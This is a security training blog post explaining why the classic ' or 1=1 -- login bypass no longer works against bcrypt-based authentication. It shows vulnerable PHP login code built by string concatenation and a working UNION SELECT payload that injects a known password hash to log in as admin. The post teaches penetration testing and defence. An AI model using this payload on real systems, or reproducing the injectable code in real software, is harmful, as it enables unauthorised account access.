OR 1=1 -- is Dying

Published: 13 Sep 2024

One of the classic examples of SQL Injection is using ' or 1=1 -- in a username to bypass the authentication of a web application. In this blog post, we are going to cover why this classic method is, unfortunately, unlikely to work nowadays…

Once upon a time, many web applications used code like the following to perform authentication and were vulnerable to SQL Injections:

  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= md5($password);
    $sql.= "'";
    $result = mysql_query($sql);

    if ($result) {
      $row = mysql_fetch_assoc($result);
      if (isset($row['login'])) {
        return TRUE;
      }
    }
    return FALSE;
  }

You may have seen some variants with a salted hash, sha instead of md5. Regardless of what was used, the pattern stays the same: a single query to match a record in the database. If the query returns a result, you're in. If the query fails or doesn't return a result, you are not in.

Nowadays, due to new hashing algorithms that rely on having the salt as part of the password, developers can no longer use this pattern and you can no longer have:


  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= password_hash("password", PASSWORD_BCRYPT);
    $sql.= "'";
    ...

Since running password_hash() will always return a different result:

php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$1N09lsGGGwZwAmNGFWVTluYjZcSccMjygCyZHTSpZTyW7OUdioxce
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$k/yJ959L5sozh69AfhaFS.NLf.4g7aEJTZjdN2paH7YefetUXr4t2
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$yEJwS.d2CYjzcEBxP68kz.KegiaURZQqmWIQ62FUq7wHPo7TTzofm
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose
The code now usually consists of two steps:
  1. Retrieving the user's record
  2. Verifying the user's password

Something along the lines of this (keeping the SQL injection):

  function login($user, $password) {
  global  $conn;
  $sql = "SELECT * FROM users where login='";
  $sql.= $user;
  $sql.= "'";

  if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
  }
  $result = $conn->query($sql);

  if ($result) {
    $row = $result->fetch_assoc();
    if (isset($row['login']) and isset($row['password'])) {
      return password_verify($password, $row['password']);
    }
  }
  return FALSE;
}  

Now what? Well the exploitation is a little bit different. What we need to do is return a result from the database that contains the hash of a password we know. To do that, we can use something like:

hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- 
Our final query will become
SELECT * FROM users where login='hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- '

Let's look at what is happening:

  • SELECT * FROM users where login='hacker' and 0=1 ensures the first part of the existing query is ignored. Thanks to and 1=0, which always returns false . This ensures the next row (the one coming from our UNION SELECT) becomes the first row.
  • UNION SELECT allows us to add a row after the empty row we just created using the trick and 1=0.
  • 1, 'admin', '$2y$10$cTdWhvjrUM...se' creates a row with the username admin and the password password (you may need to adjust the number of columns to match the one in the first part of the query)
  • Finally, -- is used to comment out the rest of the existing SQL statement

I hope this blog post gave you a clearer picture of why some of your classic SQL injection payloads might not work as expected these days and offered some insight into how you can adapt and bypass the newer security measures in place. As always, staying up-to-date with the latest techniques and understanding how modern defenses work is key to being successful in both protecting and testing web applications.

If you want to put these techniques into practice, we've created a challenge just for you. Check out our lab, Puzzle 05: Authentication Bypass via SQL Injections in Modern Web Applications, and see if you can crack it!

Photo of Louis Nyffenegger
Written by Louis Nyffenegger
Founder and CEO @PentesterLab